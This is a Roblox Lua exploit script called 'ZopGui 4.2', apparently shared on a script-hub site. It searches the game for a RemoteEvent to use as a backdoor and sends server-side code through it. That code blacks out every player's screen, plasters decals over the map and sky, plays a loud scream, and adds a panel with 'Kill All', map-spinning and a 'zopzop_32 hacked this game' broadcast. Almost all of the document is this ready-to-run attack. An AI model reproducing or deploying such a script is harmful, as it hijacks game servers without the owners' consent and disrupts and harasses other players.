
KeylessUniversal

-- ZopGui 4.2 by zopzop_32 | Server-Side GUI Injector with Decal 73318024625962
-- Backdoor-compatible GUI with full control and spooky features
local decalID = "rbxassetid://73318024625962"
local screamID = "rbxassetid://160762912" -- Spooky Scary Skeletons
-- 🔍 Backdoor Finder
local remote
for _,v in ipairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") and v.Name ~= "SoundService" then
remote = v
break
end
end
if not remote then
warn("❌ No RemoteEvent (backdoor) found.")
return
end
-- 🧠 Inject ZopGui to server
remote:FireServer([[
-- SERVER-SIDE ZopGui Injection (runs on server)
pcall(function()
-- Clear old GUI
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr:FindFirstChild("PlayerGui") then
if plr.PlayerGui:FindFirstChild("ZopGui") then
plr.PlayerGui.ZopGui:Destroy()
end
end
end
-- Cover screen
for _,plr in pairs(game.Players:GetPlayers()) do
local g = Instance.new("ScreenGui", plr:WaitForChild("PlayerGui"))
g.Name = "ZopCover"
local t = Instance.new("TextLabel", g)
t.Size = UDim2.new(1, 0, 1, 0)
t.BackgroundColor3 = Color3.new(0, 0, 0)
t.TextColor3 = Color3.new(1, 1, 1)
t.TextScaled = true
t.Font = Enum.Font.Antique
t.Text = "zopzop's here"
wait(5)
g:Destroy()
end
-- Skybox + Decal spam
local Lighting = game:GetService("Lighting")
if not Lighting:FindFirstChildOfClass("Sky") then
local s = Instance.new("Sky", Lighting)
s.SkyboxBk = "]]..decalID..[["
s.SkyboxDn = "]]..decalID..[["
s.SkyboxFt = "]]..decalID..[["
s.SkyboxLf = "]]..decalID..[["
s.SkyboxRt = "]]..decalID..[["
s.SkyboxUp = "]]..decalID..[["
end
for _,p in pairs(workspace:GetDescendants()) do
if p:IsA("BasePart") then
for _,face in pairs(Enum.NormalId:GetEnumItems()) do
local d = Instance.new("Decal")
d.Face = face
d.Texture = "]]..decalID..[["
d.Parent = p
end
end
end
-- Play Scream
for _,plr in pairs(game.Players:GetPlayers()) do
local s = Instance.new("Sound", plr:WaitForChild("PlayerGui"))
s.SoundId = "]]..screamID..[["
s.Volume = 10
s:Play()
end
-- GUI core
local function CreateZopGui(plr)
local g = Instance.new("ScreenGui", plr:WaitForChild("PlayerGui"))
g.Name = "ZopGui"
local frame = Instance.new("Frame", g)
frame.Size = UDim2.new(0, 400, 0, 350)
frame.Position = UDim2.new(0.3, 0, 0.3, 0)
frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
frame.BorderColor3 = Color3.fromRGB(0, 255, 0)
frame.BorderSizePixel = 3
frame.Draggable = true
frame.Active = true
local title = Instance.new("TextLabel", frame)
title.Size = UDim2.new(1, 0, 0, 40)
title.BackgroundTransparency = 1
title.Text = "ZopGui 4.2"
title.Font = Enum.Font.Antique
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
local function makeButton(text, yPos, func)
local b = Instance.new("TextButton", frame)
b.Size = UDim2.new(1, -20, 0, 30)
b.Position = UDim2.new(0, 10, 0, yPos)
b.Text = text
b.Font = Enum.Font.Antique
b.TextColor3 = Color3.new(1,1,1)
b.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
b.BorderColor3 = Color3.new(0,1,0)
b.TextScaled = true
b.MouseButton1Click:Connect(func)
end
makeButton("Toad Rain", 50, function()
for i = 1,20 do
local t = Instance.new("Part", workspace)
t.Size = Vector3.new(4,4,4)
t.Position = Vector3.new(math.random(-100,100), 100, math.random(-100,100))
t.Anchored = false
t.CanCollide = true
t.Name = "Toad"
local decal = Instance.new("Decal", t)
decal.Texture = "rbxassetid://73318024625962"
end
end)
makeButton("Kill All", 90, function()
for _,p in pairs(game.Players:GetPlayers()) do
if p.Character and p.Character:FindFirstChild("Humanoid") then
p.Character.Humanoid.Health = 0
end
end
end)
makeButton("Spin Map", 130, function()
for _,p in pairs(workspace:GetChildren()) do
if p:IsA("Model") or p:IsA("BasePart") then
spawn(function()
while true do
p.CFrame = p.CFrame * CFrame.Angles(0,0.05,0)
wait(0.1)
end
end)
end
end
end)
makeButton("Broadcast Message", 170, function()
for _,pl in pairs(game.Players:GetPlayers()) do
if pl ~= plr then
local m = Instance.new("Message", pl:WaitForChild("PlayerGui"))
m.Text = "zopzop_32 hacked this game"
delay(5, function() m:Destroy() end)
end
end
end)
makeButton("Backdoor Finder", 210, function()
local count = 0
for _,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
count = count + 1
end
end
print("Found "..count.." RemoteEvents.")
end)
end
-- Give GUI to all players
for _,plr in pairs(game.Players:GetPlayers()) do
CreateZopGui(plr)
end
end)
]])
print("✅ ZopGui 4.2 Injected!")
![[KEYLESS] Moondiety Script | 17+ supported Games](https://scriptblox.com/images/sb/0-1753093706828.png)


what would anyone think ts work